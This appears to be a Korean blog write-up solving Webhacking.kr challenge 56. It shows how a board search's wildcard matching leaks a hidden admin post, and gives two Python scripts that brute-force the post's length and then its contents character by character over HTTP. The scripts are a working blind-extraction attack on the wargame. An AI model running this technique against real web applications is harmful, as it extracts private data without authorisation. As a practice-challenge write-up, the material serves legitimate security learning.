controlpro

[Webhacking.kr] 56번 본문

Webhacking/Webhacking.kr

[Webhacking.kr] 56번

controlpro 2020. 12. 29. 16:36
728x90

문제를 보면 다음과 같이 나온다. readme를 클릭하면 access denied라고 뜨고 hi~를 클릭하면 

다음과 같이 나온다. 사실 search에 무엇을 넣어야할지 몰라서 sql injection을 시도해보다가 flag를 입력해봤는데 원래 반응과 다르게 나왔다. 

갑자기 Board에 admin이 써졌다. flag랑 관련이 있구나 싶어서 guest는 hi~파일이 보이니까, guest로 test를 진행했다. 

 똑같이 hello~라는 것을 보내주면 다음과 같이 나오는데 hello , hell , hel , he , h를 보내도 guest는 항상 Board에 있는 것으로 보아, *붙어서 저 글자가 순서대로 있으면 다 출력을 하는 것 같다.  그러면 아까 flag를 보냈을 때도 이해가 가능하다. 

 

그러면 search에 얼마나 입력을 해야하는 지 결정을 해야하는데, 이는 wildcard를 사용해보기로 했다 

와일드카드(wildcard)란 문자열 내에서 임의의 문자나 문자열을 대체하기 위해 사용되는 기호를 의미한다.

%를 한 4개 정도 넣었을 때도 다음과 같으니까, %의 개수가 문자열의 길이 일 것이다. 

import requests

url = "https://webhacking.kr/challenge/web-33/index.php?"

pw = ""
test= "F"
for b in range(100):
	print("[+Round 1] :"+str(b))
	params = {'search' : '%'*b}
	r = requests.post(url=url , data = params)
	if('admin' in r.text):
		continue
	else:
		print("Finish")
		print(b)
		break
		

 

코드 돌려주면 45길이라고 나오고, 이제 문자열을 하나하나 추측하면 되겠다. 

 

import requests

url = "https://webhacking.kr/challenge/web-33/index.php?"

pw = ""
test= "F"
for b in range(46):
	print("[+Round 1] :"+str(b))
	for j in range(33,126):
		if j == 37:
			continue
		params = {'search' : test + chr(j)}
		r = requests.post(url=url , data = params)
		if('admin' in r.text):
			print(chr(j)  +"is correct!")
			test+= chr(j)
			pw= test
			print(pw)
			break
		

print(pw)

코드를 돌리면

먼가 43자 밖에 필요한게 없어서 이상하긴 했지만 flag와 마지막_은 _역시 %와 같이 와일드 카드 여서 저게 출력되는 거 같다. 

 

그래서 저 둘을 {}로 바꿔주면 문제 해결! 

728x90
반응형

'Webhacking > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] 7번  (0) 2020.12.29
[Webhacking.kr] 20번  (0) 2020.12.29
[Webhacking.kr] 21번 blind sql injection  (0) 2020.12.24
[Webhacking.kr] 8번 sql injection  (0) 2020.12.22
[Webhacking.kr] 38번 log injection  (0) 2020.12.22